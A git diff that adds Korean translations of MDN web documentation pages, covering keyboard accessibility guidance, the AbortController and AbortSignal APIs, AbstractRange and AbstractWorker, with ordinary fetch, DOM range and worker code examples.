This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.

+ +

What is accessibility? and particularity the Accessibility guidelines and the law section provide more related information.

diff --git a/files/ko/web/accessibility/understanding_wcag/keyboard/index.html b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html new file mode 100644 index 0000000000..32705d664f --- /dev/null +++ b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html @@ -0,0 +1,87 @@ +--- +title: Keyboard +slug: Web/Accessibility/Understanding_WCAG/Keyboard +translation_of: Web/Accessibility/Understanding_WCAG/Keyboard +--- +
To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
+ +

Focusable elements should have interactive semantics

+ +

If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).

+ +
+

Note: One important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application"). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").

+
+ +

Most interactive elements are focusable by default; you can make an element focusable by adding a tabindex=0 attribute value to it. However, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.

+ +

See also

+ + + +

Avoid using tabindex attribute greater than zero

+ +

The tabindex attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their tabindex values (1, then 2, then 3, etc.).

+ +

This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive tabindex values.

+ +

See also

+ + + +

Clickable elements must be focusable and should have interactive semantics

+ +

If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.

+ +

An element is clickable if it has an onclick event handler defined. You can make it focusable by adding a tabindex=0 attribute value to it. You can make it operable with the keyboard by defining an onkeydown event handler; in most cases, the action taken by event handler should be the same for both types of events.

+ +

See also

+ + + +

Interactive elements must be able to be activated using a keyboard

+ +

If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.

+ +

See also

+ + + +

Interactive elements must be focusable

+ +

If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a tabindex=0 attribute value to it. That will add the element to the list of elements that can be focused by pressing the Tab key, in the sequence of such elements as defined in the HTML document.

+ +

See also

+ + + +

Focusable element must have focus styling

+ +

Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the :focus CSS pseudo-class.

+ +

Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.

+ +

If you create your own focusable components, be sure that you also define focus styling for them.

+ +

See also

+ + diff --git a/files/ko/web/api/abortcontroller/abort/index.html b/files/ko/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..bd8de71f00 --- /dev/null +++ b/files/ko/web/api/abortcontroller/abort/index.html @@ -0,0 +1,93 @@ +--- +title: AbortController.abort() +slug: Web/API/AbortController/abort +tags: + - API + - AbortController + - Fetch + - abort() + - 레퍼런스 + - 메소드 + - 실험적 +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

{{domxref("AbortController")}} 인터페이스의 abort() 메소드는 DOM 요청(Fetch 요청과 같은)이 완료되기 전에 취소한다. 이를 통해 fetch 요청, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.

+ +

구문

+ +
controller.abort();
+ +

파라미터

+ +

없음.

+ +

반환 값

+ +

Void.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/abortcontroller/index.html b/files/ko/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..caa2355924 --- /dev/null +++ b/files/ko/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,88 @@ +--- +title: AbortController.AbortController() +slug: Web/API/AbortController/AbortController +tags: + - API + - AbortController + - Fetch + - 레퍼런스 + - 생성자 + - 실험적 +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 생성자는 새로운 AbortController 객체 인터페이스를 생성한다.

+ +

구문

+ +
var controller = new AbortController();
+ +

파라미터

+ +

없음.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/index.html b/files/ko/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..4d3b92e09b --- /dev/null +++ b/files/ko/web/api/abortcontroller/index.html @@ -0,0 +1,103 @@ +--- +title: AbortController +slug: Web/API/AbortController +tags: + - API + - AbortController + - 레퍼런스 + - 실험적 + - 인터페이스 +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController 인터페이스는 하나 이상의 웹 요청을 취소할 수 있게 해준다.

+ +

{{domxref("AbortController.AbortController()")}} 생성자를 사용해 새로운 AbortController 를 생성한다. {{domxref("AbortSignal")}} 객체를 사용해 DOM 요청과의 통신이 완료된다.

+ +

생성자

+ +
+
{{domxref("AbortController()")}}
+
새로운 AbortController 객체 인터페이스를 생성한다.
+
+ +

프로퍼티

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
DOM 요청과 통신하거나 취소하는데 사용되는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.
+
+ +

메소드

+ +
+
{{domxref("AbortController.abort()")}}
+
DOM 요청이 완료되기 전에 취소한다. 이를 통해 fetch 요청, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.
+
+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError으로 명명된 DOMException과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/signal/index.html b/files/ko/web/api/abortcontroller/signal/index.html new file mode 100644 index 0000000000..1c67045b85 --- /dev/null +++ b/files/ko/web/api/abortcontroller/signal/index.html @@ -0,0 +1,89 @@ +--- +title: AbortController.signal +slug: Web/API/AbortController/signal +tags: + - API + - AbortController + - Fetch + - 레퍼런스 + - 신호 + - 실험적 + - 프로퍼티 +translation_of: Web/API/AbortController/signal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

{{domxref("AbortController")}} 인터페이스의 signal 읽기 전용 프로퍼티는 DOM 요청과 통신하거나 취소하는데 사용하는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.

+ +

구문

+ +
var signal = abortController.signal;
+ +

+ +

{{domxref("AbortSignal")}} 객체 인터페이스.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}{{Spec2('DOM WHATWG')}}초기
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.signal")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortsignal/aborted/index.html b/files/ko/web/api/abortsignal/aborted/index.html new file mode 100644 index 0000000000..edced40d38 --- /dev/null +++ b/files/ko/web/api/abortsignal/aborted/index.html @@ -0,0 +1,64 @@ +--- +title: AbortSignal.aborted +slug: Web/API/AbortSignal/aborted +tags: + - API + - AbortSignal + - aborted + - 레퍼런스 + - 실험적 + - 프로퍼티 +translation_of: Web/API/AbortSignal/aborted +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

aborted 읽기 전용 프로퍼티는 신호가 통신하는 DOM 요청이 취소되었는지(true) 그렇지 않은지(false)를 나타내는 {{domxref("Boolean")}}을 반환한다.

+ +

구문

+ +
var isAborted = abortSignal.aborted;
+ +

+ +

{{domxref("Boolean")}}

+ +

예제

+ +

다음 스니펫에서는 새로운 AbortController 객체를 생성하고 {{domxref("AbortSignal")}}를 얻는다(signal 프로퍼티에서 가능). 그 다음 aborted 프로퍼티를 사용해 신호가 취소되었는지 확인하고 콘솔로 적절한 로그를 전송한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Request has been aborted') : console.log('Request not aborted');
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortSignal.aborted")}}

+ +

See also

+ + diff --git a/files/ko/web/api/abortsignal/index.html b/files/ko/web/api/abortsignal/index.html new file mode 100644 index 0000000000..70d4dff9c1 --- /dev/null +++ b/files/ko/web/api/abortsignal/index.html @@ -0,0 +1,107 @@ +--- +title: AbortSignal +slug: Web/API/AbortSignal +tags: + - API + - AbortSignal + - DOM + - 레퍼런스 + - 실험적 + - 인터페이스 +translation_of: Web/API/AbortSignal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortSignal 인터페이스는 DOM 요청(Fetch와 같은)과 통신하고 필요한 경우 {{domxref("AbortController")}} 객체를 통해 취소할 수 있게 해주는 신호 객체를 나타낸다.

+ +

프로퍼티

+ +

AbortSignal 인터페이스는 또한 부모 인터페이스 {{domxref("EventTarget")}}으로부터 프로퍼티를 상속받는다.

+ +
+
{{domxref("AbortSignal.aborted")}} {{readonlyInline}}
+
신호가 통신하는 요청이 취소되었는지(true) 그렇지 않은지(false)를 나타내는 {{domxref("Boolean")}}.
+
+ +

이벤트

+ +

addEventListener()를 사용하거나 이 인터페이스의 oneventname 프로퍼티로 이벤트 리스너를 할당하여 이벤트를 리슨한다.

+ +
+
abort
+
신호가 통신하는 요청이 취소되었을 때 호출된다. onabort 프로퍼티를 통해서도 사용이 가능하다.
+
+ +

메소드

+ +

AbortSignal 인터페이스는 부모인 {{domxref("EventTarget")}}로부터 메소드를 상속받는다.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +
+

현재 버전의 Firefox는 DOMException으로 promise를 reject한다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortSignal")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abstractrange/collapsed/index.html b/files/ko/web/api/abstractrange/collapsed/index.html new file mode 100644 index 0000000000..fdb2136dd2 --- /dev/null +++ b/files/ko/web/api/abstractrange/collapsed/index.html @@ -0,0 +1,46 @@ +--- +title: AbstractRange.collapsed +slug: Web/API/AbstractRange/collapsed +translation_of: Web/API/AbstractRange/collapsed +--- +

{{APIRef("DOM WHATWG")}}

+ +

{{domxref("AbstractRange")}}의 범위가 축소된 read-only 속성은 범위의 시작 위치와 끝 위치가 같을 경우 true를 반환합니다.  

+ +

문법

+ +
var isCollpased = range.collapsed
+ +

Value

+ +

범위가 축소된 경우 true인 {{jsxref("Boolean")}}값을 반환합니다.  축소된 범위는 시작 위치와 종료 위치가 동일하며, 문자 길이가 0인 범위입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명시상태설명
{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'collapsed')}}{{Spec2('DOM WHATWG')}}
{{SpecName('Static Range','#dom-AbstractRange-collapsed','collapsed')}}{{Spec2('Static Range')}}Initial definition.
+ +

브라우저 호환성

+ +

이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면, https://github.com/mdn/browser-compat-data 를 checkout 하고 pull request를 보내주십시오.

+ +

{{Compat("api.AbstractRange.collapsed")}}

diff --git a/files/ko/web/api/abstractrange/index.html b/files/ko/web/api/abstractrange/index.html new file mode 100644 index 0000000000..8a46663643 --- /dev/null +++ b/files/ko/web/api/abstractrange/index.html @@ -0,0 +1,199 @@ +--- +title: AbstractRange +slug: Web/API/AbstractRange +tags: + - API + - Abstract + - Abstract Interface + - AbstractRange + - DOM + - DOM API + - Interface + - NeedsTranslation + - Range + - Reference + - TopicStub +translation_of: Web/API/AbstractRange +--- +
{{APIRef("DOM WHATWG")}}
+ +

The AbstractRange abstract interface is the base class upon which all {{Glossary("DOM")}} range types are defined. A range is an object that indicates the start and end points of a section of content within the document.

+ +

As an abstract interface, you will not directly instantiate an object of type AbstractRange. Instead, you will use the {{domxref("Range")}} or {{domxref("StaticRange")}} interfaces. To understand the difference between those two interfaces, and how to choose which is appropriate for your needs.

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +
+
{{domxref("AbstractRange.collapsed", "collapsed")}} {{ReadOnlyInline}}
+
A Boolean value which is true if the range is collapsed. A collapsed range is one whose start position and end position are the same, resulting in a zero-character-long range.
+
{{domxref("AbstractRange.endContainer", "endContainer")}} {{ReadOnlyInline}}
+
The DOM {{domxref("Node")}} in which the end of the range, as specified by the endOffset property, is located.
+
{{domxref("AbstractRange.endOffset", "endOffset")}} {{ReadOnlyInline}}
+
An integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. This value must be less than the length of the endContainer node.
+
{{domxref("AbstractRange.startContainer", "startContainer")}} {{ReadOnlyInline}}
+
The DOM {{domxref("Node")}} in which the beginning of the range, as specified by the startOffset property, is located.
+
{{domxref("AbstractRange.startOffset", "startOffset")}} {{ReadOnlyInline}}
+
An integer value indicating the offset, in characters, from the beginning of the node's contents to the last character of the contents referred to  by the range object. This value must be less than the length of the node indicated in startContainer.
+
+ +

Methods

+ +

The AbstractRange interface offers no methods.

+ +

Usage notes

+ +

Range types

+ +

All ranges of content within a {{domxref("Document", "document")}} are described using instances of interfaces based on AbstractRange. There are two such interfaces:

+ +
+
{{domxref("Range")}}
+
The Range interface has been around for a long time and has only recently been redefined to be based upon AbstractRange as the need arose to define other forms of range data. Range provides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth.
+
{{domxref("StaticRange")}}
+
StaticRange is a basic range which cannot be changed once it's been created. Specifically, as the node tree mutates and changes, the range does not. This is useful when you need to specify a range that will only be used once, since it avoids the performance and resource impact of the more complex {{domxref("Range")}} interface.
+
+ +

Contents of elements

+ +

When trying to access the contents of an element, keep in mind that the element itself is a node, but so is any text inside it. In order to set a range endpoint within the text of an element, be sure to find the text node inside the element:

+ +
let startElem = document.querySelector("p");
+let endElem = startElem.querySelector("span");
+let range = document.createRange();
+
+range.setStart(startElem, 0);
+range.setEnd(endElem, endElem.childNodes[0].length/2);
+let contents = range.cloneContents();
+
+document.body.appendChild(contents);
+
+ +

This example creates a new range, rng, and sets its starting point to the third child node of the first element whose class is elementclass. The end point is set to be the middle of the first child of the span, and then the range is used to copy the contents of the range.

+ +

Ranges and the hierarchy of the DOM

+ +

In order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the DOM, you can't simply specify the offset to the first and last characters in the {{Glossary("HTML")}}. There are a few good reasons for that.

+ +

First, after your page is loaded, the browser simply isn't thinking in terms of HTML. Once it's been loaded, the page is a tree of DOM {{domxref("Node")}} objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes.

+ +

Second, in order to support the mutability of the DOM tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global positions within the entire document. By defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed from, or moved around within the DOM tree—within reason. There are fairly obvious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is heavily altered), but it's far better than nothing.

+ +

Third, using node-relative positions to define the start and end positions will generally be easier to make perform well. Rather than having to negotiate the DOM figuring out what your global offset refers to, the {{Glossary("user agent")}} (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node.

+ +

To illustrate this, consider the HTML below:

+ +
<div class="container">
+  <div class="header">
+    <img src="" class="sitelogo">
+    <h1>The Ultimate Website</h1>
+  </div>
+  <article>
+    <section class="entry" id="entry1">
+      <h2>Section 1: An interesting thing...</h2>
+      <p>A <em>very</em> interesting thing happened on the way to the forum...</p>
+      <aside class="callout">
+        <h2>Aside</h2>
+        <p>An interesting aside to share with you...</p>
+      </aside>
+    </section>
+  </article>
+  <pre id="log"></pre>
+</div>
+ +

After loading the HTML and constructing the DOM representation of the document, the resulting DOM tree looks like this:

+ +

Diagram of the DOM for a simple web page

+ +

In this diagram, the nodes representing HTML elements are shown in green. Eah row beneath them shows the next layer of depth into the DOM tree. Blue nodes are text nodes, containing the text that gets shown onscreen. Each element's contents are linked below it in the tree, potentially spawning a series of branches below as elements include other elements and text nodes.

+ +

If you want to create a range that incorporates the contents of the {{HTMLElement("p")}} element whose contents are "A <em>very</em> interesting thing happened on the way to the forum...", you can do so like this:

+ +
let pRange = document.createRange();
+pRange.selectNodeContents(document.querySelector("#entry1 p"));
+
+ +

Since we wish to select the entire contents of the <p> element, including its descendants, this works perfectly.

+ +

If we wish to instead copy the text "An interesting thing..." from the {{HTMLElement("section")}}'s heading (an {{HTMLElement("h2")}} element) through the end of the letters "ve" in the {{HTMLElement("em")}} within the paragraph below it, the following code would work:

+ +
let r = document.createRange();
+let startNode = document.querySelector("section h2").childNodes[0];
+r.setStart(startNode, 11);
+
+let endNode = document.querySelector("#entry1 p em").childNodes[0];
+r.setEnd(endNode, 2);
+
+let fragment = r.cloneContents();
+
+ +

Here an interesting problem arises—we are capturing content from multiple nodes located at different levels of the DOM hierarchy, and then only part of one of them. What should the result look like?

+ +

As it turns out, the DOM specification fortunately addresses this exact issue. For example, in this case, we're calling {{domxref("Range.cloneContents", "cloneContents()")}} on the range to create a new {{domxref("DocumentFragment")}} object providing a DOM subtree which replicates the contents of the specfied range. To do this, cloneContents() constructs all the nodes needed to preserve the structure of the indicated range, but no more than necessary.

+ +

In this example, the start of the specified range is found within the text node below the section's heading, which means that the new DocumentFragment will need to contain an {{HTMLElement("h2")}} and, below it, a text node.

+ +

The range's end is located below the {{domxref("p")}} element, so that will be needed within the new fragment. So will the text node containing the word "A", since that's included in the range. Finally, an <em> and a text node below it will be added below the <p> as well.

+ +

The contents of the text nodes are then determined by the offsets into those text nodes given when calling {{domxref("Range.setStart", "setStart()")}} and {{domxref("Range.setEnd", "setEnd()")}}. Given the offset of 11 into the heading's text, that node will contain "An interesting thing...". Similarly, the last text node will contain simply "ve", given the request for the first two characters of the ending node.

+ +

The resulting document fragment looks like this:

+ +

A DocumentFragment representing the cloned content

+ +

Notice especially that the contents of this fragment are all below the shared common parent of the topmost nodes within it. The parent <section> is not needed to replicate the cloned content, so it is isn't included.

+ +

Example

+ +

Consider this simple HTML fragment of HTML.

+ +
<p><strong>This</strong> is a paragraph.</p>
+ +

Imagine using a {{domxref("Range")}} to extract the word "paragraph" from this. The code to do that looks like the following:

+ +
let paraNode = document.querySelector("p");
+let paraTextNode = paraNode.childNodes[1];
+
+let range = document.createRange();
+range.setStart(paraTextNode, 6);
+range.setEnd(paraTextNode, paraTextNode.length-1);
+
+let fragment = range.cloneContents();
+document.body.appendChild(fragment);
+
+ +

First we get references to the paragraph node itelf as well as to the second child node within the paragraph. The first child is the {{HTMLElement("strong")}} element. The second child is the text node " is a paragraph.".

+ +

With the text node reference in hand, we create a new Range object by calling {{domxref("Document.createRange", "createRange()")}} on the Document itself. We set the starting position of the range to the sixth character of the text node's string, and the end position to the length of the text node's string minus one. This sets the range to encompass the word "paragraph".

+ +

We then finish up by calling {{domxref("Range.cloneContents", "cloneContents()")}} on the Range to create a new {{domxref("DocumentFragment")}} object which contains the portion of the document encompassed by the range. After that, we use {{domxref("Node.appendChild", "appendChild()")}} to add that fragment at the end of the document's body, as obtained from {{domxref("document.body")}}.

+ +

The result looks like this:

+ +

{{EmbedLiveSample("Example", 600, 80)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#abstractrange', 'AbstractRange')}}{{Spec2('DOM WHATWG')}}
+ +

Browser compatibility

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.AbstractRange")}}

diff --git a/files/ko/web/api/abstractworker/index.html b/files/ko/web/api/abstractworker/index.html new file mode 100644 index 0000000000..c31abaa6c1 --- /dev/null +++ b/files/ko/web/api/abstractworker/index.html @@ -0,0 +1,83 @@ +--- +title: AbstractWorker +slug: Web/API/AbstractWorker +tags: + - API + - Abstract + - AbstractWorker + - Interface + - Reference + - Web Workers + - Web Workers API + - Worker + - 워커 + - 웹 워커 +translation_of: Web/API/AbstractWorker +--- +
{{ APIRef("Web Workers API") }}
+ +

Web Workers APIAbstractWorker 인터페이스는 기본적인 {{domxref("Worker")}}에 더해 {{domxref("ServiceWorker")}}와 {{domxref("SharedWorker")}}까지, 모든 유형의 워커에 공통된 속성과 메서드를 정의하는 추상 인터페이스입니다.

+ +

속성

+ +

AbstractWorker 인터페이스는 어떠한 속성도 상속하지 않습니다.

+ +

이벤트 처리기

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
error 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다.
+
+ +

메서드

+ +

AbstractWorker 인터페이스는 어떠한 메서드도 구현하거나 상속하지 않습니다.

+ +

예제

+ +

AbstractWorker는 추상 인터페이스므로 코드 내에서 직접 사용할 일은 없습니다. 대신, AbstractWorker를 상속하는 {{domxref("Worker")}} 또는 {{domxref("SharedWorker")}}를 사용할 것입니다.

+ +

다음 코드는 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 새로운 Worker를 생성한 후 워커로 메시지를 전송하는 것을 보입니다.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}
+ +

위 워커의 코드는 "worker.js" 파일에서 불러오며, first로 표현한 {{htmlelement("input")}} 요소가 존재하는 상황을 가정하여, {{event("change")}} 이벤트 처리기를 부착해 사용자가 first의 값을 바꿀 때마다 워커에 메시지를 전송해 바뀐 값을 알려줍니다.

+ +

MDN 웹 문서 GitHub 저장소에 더 많은 예제가 준비돼있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
